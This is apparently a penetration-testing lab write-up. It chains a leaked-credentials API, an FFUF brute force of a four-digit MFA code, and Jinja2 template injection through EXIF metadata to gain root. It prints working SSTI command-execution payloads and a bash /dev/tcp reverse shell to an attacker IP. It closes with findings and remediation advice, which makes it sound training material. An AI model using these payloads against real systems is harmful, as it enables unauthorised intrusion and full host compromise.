July 17, 2026
Throughout the assessment, I also discuss how the identified vulnerabilities could be remediated in…
Introduction

By RedBeard_Roberts
13 min read
Throughout the assessment, I also discuss how the identified vulnerabilities could be remediated in a real-world environment, helping to bridge the gap between offensive security and defensive best practices.
Introduction
This article not only explains the steps to compromise the target but also focuses on explaining the methodology behind each stage of the process.
The assessment aims to think like a penetration tester rather than simply following a list of commands. I will explain why I chose a tool, what data it provided, how the data helps influence the next decision, and how the discovered vulnerabilities could be remediated in a real-world environment.
The objective is to perform an external penetration test against a web application, identify vulnerabilities to exploit, obtain admin-level access, and demonstrate the impact of achieving a root-level compromise on a machine.
Tools Used
- Kali Linux
- RustScan
- Nmap
- Burp Suite Community Edition
- Firefox
- FFUF
- ExifTool
- ImageMagick
- Netcat
Objectives
The objectives for this assessment were to:
- Identify the exposed attack surface.
- Enumerate the web application.
- Discover exploitable vulnerabilities.
- Obtain administrative access.
- Achieve remote code execution.
- Obtain root access to demonstrate full compromise.
Methodology
This assessment followed a structured methodology, ensuring each phase is built upon the previous stage's findings rather than going straight to attempting exploitation.
To ensure a structured engagement, the assessment followed the following methodology:
- Reconnaissance
- Enumeration
- Vulnerability Identification
- Exploitation
- Post Exploitation
- Reporting and Recommendations
Reconnaissance
Objective:
Prior to exploiting anything, we need to start with reconnaissance to identify which services the target exposes to the network and find out which one of the services presents the best opportunity for further investigation.
At this stage, no assumptions are made about the operating system (OS) or services running on the target. The goal at this point is to identify and understand the exposed attack surface to focus our assessment.
We need to answer several important questions:
- Is the target running Linux or Windows?
- Is there a web application?
- Is SSH exposed?
- Are databases exposed?
- Are there any unnecessary services?
- Which service should we investigate first?
Without this information, we're simply guessing. We shouldn't guess.
TCP Port Discovery:
rustscan -b 500 -a 10.0.23.4 -- -sC -sV -Pn -oA verbose_initialrustscan -b 500 -a 10.0.23.4 -- -sC -sV -Pn -oA verbose_initialScan Results:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:41:24:57:10:4a:e4:19:fb:30:6d:6b:dd:a2:55:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM6nbYmEoZFUnTJCQf03+tLSQZRV7nxyOWZJA17G5B3S7WwgMobuK5YcVBcm1xH8cUSQ5leblg2yhcqL/IYlWfs=
| 256 c0:eb:49:de:65:82:c8:a6:64:18:0c:79:96:b5:0d:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDrZoWhSBp1PRePf7vB3sFHoxQUWjFXTNaeadP9Gvppm
80/tcp open http syn-ack ttl 62 Werkzeug httpd 3.1.5 (Python 3.12.3)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.1.5 Python/3.12.3
| http-title: Hack Smarter Portal
|_Requested resource was /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelPORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:41:24:57:10:4a:e4:19:fb:30:6d:6b:dd:a2:55:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM6nbYmEoZFUnTJCQf03+tLSQZRV7nxyOWZJA17G5B3S7WwgMobuK5YcVBcm1xH8cUSQ5leblg2yhcqL/IYlWfs=
| 256 c0:eb:49:de:65:82:c8:a6:64:18:0c:79:96:b5:0d:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDrZoWhSBp1PRePf7vB3sFHoxQUWjFXTNaeadP9Gvppm
80/tcp open http syn-ack ttl 62 Werkzeug httpd 3.1.5 (Python 3.12.3)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Werkzeug/3.1.5 Python/3.12.3
| http-title: Hack Smarter Portal
|_Requested resource was /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe scan identified both TCP ports open:
- 22 SSH OpenSSH 9.6p1 Ubuntu
- 80 HTTP Werkzeug 3.1.5 (Python 3.12.3)
Additional information collected:
- Linux operating system
- OpenSSH 9.6p1
- Werkzeug HTTP server
- Python 3.12.3
- Page title Hack Smarter Portal
- Automatic redirect to /login
Analysis of the scan results
Although SSH was exposed, it was not selected as the initial attack vector. Without valid credentials or any evidence of known SSH vulnerabilities, SSH presents a small attack surface.
In contrast, the HTTP service is the primary focus for several reasons; firstly, it is running Werkzeug a development server commonly associated with the Flask web framework. We can shape our enumeration strategy by knowing the underlying framework.
Secondly, the server redirects users to the /login page, highlighting that the main function is web-based and likely contains authentication features that warrant further investigation.
Finally, SSH provides a smaller attack surface than web applications, and web applications include authentication mechanisms such as APIs, session handling, application logic, and file uploads, all of which are common security vulnerabilities. So the HTTP service suggests:
- Authentication testing
- Session management
- API discovery
- User registration
- Hidden endpoints
- Potential Flask-specific vulnerabilities
Based on the reconnaissance findings, the web application was chosen as the attack surface for further enumeration.
The next stage will focus on understanding the application's functionality.
Key Takeaways
- Always begin with reconnaissance.
- Prioritise the service with the largest attack surface.
- Use reconnaissance to guide the assessment rather than making assumptions.
Web Enumeration
Objective:
Having chosen the web application as the initial attack surface, the next stage was to understand the functionality and find areas that could reveal sensitive data or vulnerabilities.
I firstly explored the application manually whilst proxying the traffic using Burp Suite. This method will reveal a better understanding of how the application functions and its endpoints.
Methodology note: Manual exploration reveals vulnerabilities that automated tools may miss. In a real-world penetration test, the goal is to leave no stone unturned. All the features should be exercised within the agreed scope.
Configuring Burp Suite
Before interacting with the application, I configured my Burp Suite as my intercepting proxy. This will route all traffic through my Burp Suite so that it can be inspected. Burp's HTTP history records every request during application use, making it a valuable tool.
I left the intercept turned off and allowed Burp to passively record while I explored, rather than intercepting every request from the get-go.
User Registration
Authenticated User Dashboard
After successful registration, I continued to explore the application features as a standard user. I also reviewed the HTTP requests on Burp HTTP history.
This method proved to be valuable it found an undocumented API endpoint.
/api/users/all/api/users/allThis endpoint requires further investigation. Some of the questions that came to mind following this discovery:
- Why is the client requesting this endpoint?
- Does it require authentication?
- What information does it return?
- Is the response filtered based on user privileges?
- Could it expose sensitive information?
The assessment now moves towards analysing this endpoint.
Key Takeaways
- Always accompany manual exploration with automated testing.
- Burp Suite's HTTP History is a valuable source of information during web application assessments.
- Hidden API endpoints frequently expose functionality that is not visible through the application's interface.
- Unexpected requests should be treated as a lead until proven otherwise.
Analysing the API Endpoint
Objective:
The manual exploration of the application, using the Burp Suite's HTTP History, found an API endpoint:
/api/users/all/api/users/allThe endpoint was not accessible through the application's user interface and so became the focus of further investigation.
Undocumented API endpoints can expose sensitive information, application logic and admin functionality that were not intended for normal user access. The next step was to determine what data this endpoint could return and whether appropriate access controls are present.
Instead of further application investigation, I decided to navigate directly to the endpoint to inspect its response.
Firstly, a simple request to the endpoint returned a JSON response containing details of every registered user:
<http://10.0.23.4/api/users/all><http://10.0.23.4/api/users/all>It contained the following data:
[
{
"email":"tony@hacksmarter.local",
"id":1,
"password":"basketball",
"role":"user",
"username":"tony"
},
{
"email":"johnny@hacksmarter.local",
"id":2,
"password":"dolphin",
"role":"user",
"username":"johnny"
},
{
"email":"admin@hacksmarter.local",
"id":3,
"password":"YouWontGetThisPasswordYouNoobLOL123",
"role":"admin",
"username":"admin"
}
][
{
"email":"tony@hacksmarter.local",
"id":1,
"password":"basketball",
"role":"user",
"username":"tony"
},
{
"email":"johnny@hacksmarter.local",
"id":2,
"password":"dolphin",
"role":"user",
"username":"johnny"
},
{
"email":"admin@hacksmarter.local",
"id":3,
"password":"YouWontGetThisPasswordYouNoobLOL123",
"role":"admin",
"username":"admin"
}
]This data stood out as a critical information disclosure vulnerability. It exposed the complete user database, including:
- Usernames
- Email addresses
- User roles
- Plaintext passwords
The response also disclosed the credentials of the administrative account:
- Username: admin
- Password: admin YouWontGetThisPasswordYouNoobLOL123
- Role: Administrator
This is a serious vulnerability issue, as passwords should never be returned by API; they should be stored, encrypted, salted password hashed, not as plaintext.
The discovery of the admin credentials significantly lowers the complexity of the assessment and provides the next attack path.
The next step is to determine if these credentials were sufficient to access.
Key Takeaways:
- Never trust undocumented API endpoints.
- APIs should only return the minimum amount of information required by the client.
- Passwords should never be stored or transmitted in plaintext.
- Excessive data exposure can often be linked with other vulnerabilities to achieve complete compromise.
Administrative Authentication Assessment
Objective:
The objective now was to validate the exposed credentials and identify any further authentication controls protecting privileged accounts.
Using the credentials, I attempted to log into the application through the normal authentication process.
- admin: YouWontGetThisPasswordYouNoobLOL123
I attempted the login; the credentials were accepted; however, the application presented an additional authentication step requesting a four-digit Multi-Factor Authentication (MFA) code.
This highlights that even though a data disclosure vulnerability exposed administrator credentials, an extra security control was in place before privileged access could be obtained.
The assessment now shifts towards evaluating the use of the MFA mechanism.
The MFA is considered a positive control, providing a further security layer of protection against user credentials becoming compromised. Though this does not automatically confirm that the application is secure. MFA security depends on several factors:
- The complexity of the verification code.
- Whether rate limiting is enforced.
- Whether account lockout is implemented.
- Whether codes expire after failed attempts.
- Whether MFA attempts are tied to a specific session.
Before attempting to bypass this control, I first checked how the MFA behaved.
Evaluating the Multi-Factor Authentication Mechanism
Objective
Once I had confirmed that the credentials were valid, the next stage was to check how strong the MFA implementation.
I resisted the attempt to brute-force the verification code; I instead examined how the application processed the MFA requests. Understanding how the MFA works allows me to make an informed decision on selecting the most appropriate testing approach.
The first step was to observe the HTTP request after inputting an incorrect MFA code. With Burp Suite still configured as the intercepting proxy, I went ahead and submitted an invalid four-digit code.
This permitted me to inspect how the application handled the MFA input verification.
- The request was submitted using the POST method.
- The submitted code was passed within the request body.
- The application relied upon a session cookie to associate the MFA challenge with the authenticated administrator account.
- The server returned a predictable response when an incorrect code was supplied.
No evidence of account lockout or rate limit was apparent.
I wanted to assess how the application responded after multiple failed attempts to see if it was the same response for invalid codes.
Burp Suite intercept showing the POST request to /mfa
Key Takeaways
- Understand the authentication process before attempting to bypass it.
- Inspect every authentication request using Burp Suite.
- Predictable responses often indicate opportunities for automated testing.
- Never assume security controls are implemented correctly — verify their behaviour.
Testing the MFA Implementation
After inspecting the intercepted requests, I wanted to find out whether the application has protections against repeated authentication attempts.
The requests demonstrated that the MFA verification accepted a single parameter named code. This makes it perfect for automated testing.
Also, importantly, there were no triggered defence controls from the multiple invalid code inputs. With the evidence that there were no observable anti-automation controls present, this highlights that the MFA was vulnerable to brute-force attacks.
Manually entering thousands of codes was not an option, so I naturally decided to automate the process. The joy's of automation.
I generated a custom word list.
Command:
seq -w 0000 9999 > tokens.txtseq -w 0000 9999 > tokens.txtVerify the contents:
head tokens.txthead tokens.txtOutput:
└─$ head tokens.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009└─$ head tokens.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009I generated a word list specifically for the target, rather than downloading a generic one.
It was faster to generate a 0000 to 9999 bespoke list because the MFA implementation uses a four-digit numeric code. Carrying out this process this way is more efficient and guarantees coverage of the available key spaces. When the format is known, this is a preferred method.
Automating MFA Testing
Now that we have the custom wordlist, I used FFUF to automate submission to the /mfa endpoint.
The request relayed the POST request and kept the authenticated session cookie obtained during the login attempt.
The majority of the requests failed as responded to as expected. Several of the requests did generate HTTP 500 Internal Server Error responses, and another an HTTP 302 Redirect.
I did not assume success but paused to verify the application behaviour.
All differences in HTTP response codes should be validated before assuming security control has been bypassed.
Commands:
ffuf \
-w tokens.txt \
-X POST \
-u <http://10.0.23.4/mfa> \
-d "code=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: session=<CURRENT_SESSION_COOKIE>" \
-fr "Incorrect 2FA Code." \
-t 3ffuf \
-w tokens.txt \
-X POST \
-u <http://10.0.23.4/mfa> \
-d "code=FUZZ" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Cookie: session=<CURRENT_SESSION_COOKIE>" \
-fr "Incorrect 2FA Code." \
-t 3The FFUF identified the following response, which was different to the normal MFA responses:
7124 [Status: 302, Size: 189, Words: 18, Lines: 6]7124 [Status: 302, Size: 189, Words: 18, Lines: 6]This did not automatically suggest it was proof of success, so I therefore submitted the code 7124 through the same browser session for the cookie session that was generated. The application accepted it.
Access was granted to the administrator dashboard:
Even though the system implemented MFA, its effectiveness was undermined by many weaknesses:
- The code contained only four numeric digits.
- The complete keyspace contained just 10,000 possibilities.
- No effective request throttling was observed.
- No account lockout occurred after repeated failures.
- The administrator session remained valid throughout thousands of attempts.
Key Takeaways
- MFA must be tested as an authentication mechanism rather than assumed to be secure.
- Four-digit codes require strong rate-limiting and account lockout controls.
- Session state must be maintained when automating authenticated requests.
- Unusual automated results are candidates, not confirmed findings, until manually validated.
- Lower request concurrency can improve reliability and reduce unnecessary server load.
Administrator Access
After validating the MFA code, I went ahead and entered the code.
The MFA code was successfully validated, and I was presented with the administrator's dashboard. This completed the first objective of the assessment, as the dashboard displayed the administrator flag.
I continued to enumerate the newly available functionality, as admin features can introduce further attack surfaces.
The dashboard had several privileged features, including:
- Logo Upload
- Logo Preview
- Server Health Check
- User Promotion
The logo upload feature seemed like the most promising feature, as it can accept user-controlled files.
Investigating the Logo Upload
I wanted to understand how the upload feature handled images, so I created a simple NPG image and embedded a Artist metadata field using ExifTool, Prior to uploading it into the administrator interface.
Command:
convert -size 200x200 xc:white logo-test.png
exiftool -Artist="RedBeard Roberts" logo-test.pngconvert -size 200x200 xc:white logo-test.png
exiftool -Artist="RedBeard Roberts" logo-test.pngThe application accepted the image. The image was available through the 'Preview Current Logo' function.
This suggested metadata was uploaded server-side.
Testing for Server-Side Template Injection
The initial reconnaissance phase had also identified that the application was running:
- Werkzeug
- Python 3.12.3
Both suggest a Flask application using jinja2 engine.
I went ahead with replacing the Artist metadata with a simple arithmetic expression:
exiftool -Artist="{{7*7}}" logo-test.pngexiftool -Artist="{{7*7}}" logo-test.pngAfter uploading the image and selecting preview the application displayed:
4949This confirmed that user-controlled input was being interpreted by Jinja2, demonstrating a Server-Side Template Injection (SSTI) vulnerability.
Demonstrating Command Execution
The next step after confirming the SSTI vulnerability was to find out if it could be leveraged to execute OS commands on the underlying server. Prior to attempting a reverse-shell, I first tried a simple command to confirm code execution. Uisng ExifToolI replaced the Artist metadata with Jinja2 payload:
exiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" logo-test.pngexiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}" logo-test.pngAfter uploading the image and previewing the logo, the application displayed the Linux putpt command id Command inside the metadata section.
uid=0(root) gid=0(root) groups=0(root)uid=0(root) gid=0(root) groups=0(root)This confirmed:
- User-controlled input could be leveraged to execute arbitrary operating system commands.
- The application was vulnerable to Remote Code Execution (RCE).
- The web application was executing with root privileges, significantly increasing the severity of the vulnerability.
Establishing a Reverse Shell
Having confirmed that arbitrary OS commands could be executed, I attempted to establish an interactive shell on the target system.
I embedded a reverse shell payload within the image. This makes the server initiate an outbound connection back to my Kali machine.
Firstly, I replaced Artist with the bash payload:
exiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/10.200.71.200/4444 0>&1\"').read()}}" logo-test.pngexiftool -Artist="{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c \"bash -i >& /dev/tcp/10.200.71.200/4444 0>&1\"').read()}}" logo-test.pngI then started the Netcat listener:
nc -lvnp 4444nc -lvnp 4444Once the image had been uploaded and previewed, the application processed the data, executed the payload and began the reverse connection back to my listener.
Immediately, an interactive shell was established:
root@ip-10-0-23-4:/home/ubuntu#root@ip-10-0-23-4:/home/ubuntu#At this stage, I had compromised root access and confirmed full compromise of the host.
Retrieval of the Root Flag
Now that the root shell was established, the next step was to retrieve the final flag. Using the shell, I navigated to the root user's home directory and displayed the contents of the flag file:
Security Findings
I identified several high-risk vulnerabilities when carrying out the assessment; chaining these vulnerabilities together resulted in a full target compromise.
Findings identified during the assessment:
- Critical: Information disclosure through an exposed API endpoint. Allowed unauthenticated users to obtain sensitive application data, including valid user credentials
- Critical: Plaintext credential exposure. Exposed valid administrator credentials, leading directly to privileged access.
- High: Weak four-digit MFA implementation. A small keyspace made brute-force attacks practical.
- High: No MFA rate limiting or account lockout. Allowed unlimited authentication attempts without detection or delay.
- Critical: Server-Side Template Injection (SSTI). Enabled arbitrary server-side template execution, leading to remote code execution.
- Critical: Remote Code Execution (RCE). Allowed arbitrary operating system commands to be executed on the server.
- Critical: Web application running as the root user. Increased the impact of exploitation by granting immediate full administrative privileges.
Recommendations
Many of the vulnerabilities found could be mitigated by using a combination of secure development practices and the use of defence-in-depth controls.
Sensitive API endpoints need to be properly secured and require authentication before exposing data. No plaintext should be returned. Passwords should be stored using modern adaptive hashing such as Argon2 or bcrypt, together with unique hashing.
Larger token spaces should be used for the MFA and use a limit rate, additionally the need for temporary account lockouts or delays following repeated failed logins. Alerting through monitoring should also be used to identify brute-force attempts.
Uploaded files should be managed as untrusted input. Server-side templates should never be rendered directly with user-controlled data without proper escaping or sanitation; file uploads require strict validation.
Apply the principle of least privilege to service accounts rather than the root user. Reducing the permissions significantly limits the impact of any exploitation.
Lessons Learned from the Verbose Lab
The lab covered several important pentesting principles.
The first lesson was the importance of methodology in enumeration. It's important to gather as much information and understanding of the application before searching for exploits. Each stage of the assessment revealed the attack path through understanding the application's behaviour.
The lab also highlighted how several weaknesses joined together can create far more security issues.
Finally, understanding the underlying framework and technology can make it possible to identify and safely validate the system. By recognising the Flask framework and Jinja2 template engine, it was made possible to validate the Server-Side Template Injection vulnerabilities prior to escalating to code execution.
Conclusion
This assessment successfully achieved its aim by fully compromising the target system.
I began with external reconnaissance and web application enumeration. This process found an exposed API endpoint that held user information. The administration credentials were recovered, and an MFA authentication implementation was exploited to gain access. An image upload feature was found to be vulnerable to SSTI. The operating system was exploited through this vulnerability, which resulted in a reverse shell running with root privileges and full compromise of the target system.
This lab reinforced the value of following a structured penetration testing method. Each stage is built from the data collected during the previous stage, highlighting the importance of careful enumeration and critical thinking- rather than going for an immediate exploit attempt.
Finally, a big thank you to Tyler Ramsbey and Hack Smarter Labs for creating another great lab.